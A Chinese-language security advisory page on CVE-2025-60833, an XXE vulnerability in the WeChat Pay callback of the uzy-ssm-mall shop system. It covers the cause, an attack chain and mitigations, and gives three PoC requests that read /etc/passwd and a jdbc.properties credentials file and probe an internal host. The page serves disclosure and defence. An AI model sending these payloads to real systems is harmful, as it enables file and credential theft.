IPBUF安全漏洞报告
English
CVE-2025-60833 CVSS 6.5 中危

CVE-2025-60833:uzy-ssm-mall微信支付组件XXE漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60833
漏洞类型
XML外部实体注入(XXE)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
uzy-ssm-mall

相关标签

XXEXML外部实体注入uzy-ssm-mall微信支付SSM框架Java远程代码执行敏感文件读取SSRF中危漏洞

漏洞概述

CVE-2025-60833是uzy-ssm-mall商城系统v1.1.0版本中存在的一个XML外部实体(XXE)注入漏洞。该漏洞位于系统的/mall/wxpay/pay微信支付组件中,由于该组件在处理微信支付回调通知时未对传入的XML数据进行严格的外部实体解析限制,攻击者可以通过构造恶意的XML数据,利用XML解析器对外部实体的支持来执行任意代码或读取服务器上的敏感文件。

该漏洞的CVSS 3.1评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。在影响方面,该漏洞对机密性(C:L)和完整性(I:L)均存在低程度的影响,但对可用性(A:N)没有影响。这意味着攻击者可以利用此漏洞读取服务器上的敏感配置文件、源代码或系统文件,甚至在某些配置环境下实现远程代码执行,严重威胁系统的安全性。

uzy-ssm-mall是一个基于Spring、SpringMVC、MyBatis(SSM)框架开发的开源商城系统,广泛应用于中小型电商场景。微信支付组件作为商城系统的核心功能之一,负责处理微信支付回调通知,其安全性直接关系到交易数据的完整性和用户资金的安全。该漏洞的披露时间为2025年10月8日,由ChangeYourWay发现并报告。

技术细节

XXE(XML External Entity)漏洞是一种针对XML解析器的注入攻击,其根本原因在于XML解析器在解析XML文档时,默认启用了对外部实体的解析支持。攻击者通过在XML数据中定义指向外部资源的实体(如file://、http://等协议的URI),使得XML解析器在解析过程中自动加载并解析这些外部资源,从而导致敏感文件读取、SSRF(服务端请求伪造)或远程代码执行等安全问题。

在uzy-ssm-mall v1.1.0的/mall/wxpay/pay组件中,系统在接收微信支付回调通知时,会对微信服务器发送的XML格式数据进行解析。然而,该组件在创建XML解析器(如DocumentBuilderFactory)时,未禁用以下关键安全特性:
1. 未禁用外部实体解析(setFeature("http://xml.org/sax/features/external-general-entities", false))
2. 未禁用外部参数实体解析(setFeature("http://xml.org/sax/features/external-parameter-entities", false))
3. 未禁用DOCTYPE声明(setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))
4. 未设置安全的XML解析属性

攻击者可以利用这些缺失的安全配置,通过微信支付回调接口提交包含恶意DTD定义的XML数据。典型的攻击payload会定义一个SYSTEM实体,指向服务器上的敏感文件(如/etc/passwd或应用配置文件),然后通过XML数据回显机制将文件内容泄露出来。在更危险的情况下,攻击者可以利用Java的Runtime.exec()或XPATH注入等方式实现远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或GitHub等平台查找部署了uzy-ssm-mall v1.1.0的目标系统,识别/mall/wxpay/pay微信支付接口的访问路径。
STEP 2
步骤2:构造恶意XML
攻击者构造包含外部实体定义的恶意XML数据,通过SYSTEM关键字指向目标服务器上的敏感文件或内部网络资源。
STEP 3
步骤3:发送攻击请求
攻击者通过POST请求将恶意XML数据提交至/mall/wxpay/pay接口,Content-Type设置为application/xml。
STEP 4
步骤4:触发XXE解析
服务端XML解析器在解析攻击者提交的XML数据时,加载并解析外部实体,导致敏感文件内容被读取或内部请求被执行。
STEP 5
步骤5:数据泄露或代码执行
解析后的敏感数据通过XML回显机制返回给攻击者,或在特定配置环境下实现远程代码执行,获取服务器控制权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
POST /mall/wxpay/pay HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xml> <return_code><![CDATA[SUCCESS]]></return_code> <return_msg><![CDATA[&xxe;]]></return_msg> </xml> --- // Another PoC: Read application config files POST /mall/wxpay/pay HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties"> ]> <xml> <return_code><![CDATA[SUCCESS]]></return_code> <return_msg><![CDATA[&xxe;]]></return_msg> </xml> --- // SSRF-based PoC to probe internal network POST /mall/wxpay/pay HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin/"> ]> <xml> <return_code><![CDATA[SUCCESS]]></return_code> <return_msg><![CDATA[&xxe;]]></return_msg> </xml>

影响范围

uzy-ssm-mall v1.1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)对/mall/wxpay/pay接口实施IP白名单,仅允许微信服务器IP(140.207.69.0/24等)访问;2)在反向代理(如Nginx)层面过滤包含DOCTYPE、ENTITY等关键字的恶意XML请求;3)对微信支付回调接口实施严格的签名验证,确保请求来自微信官方服务器;4)修改应用代码,禁用XML解析器的外部实体解析功能;5)监控异常的文件读取或网络请求行为,及时发现并阻断攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表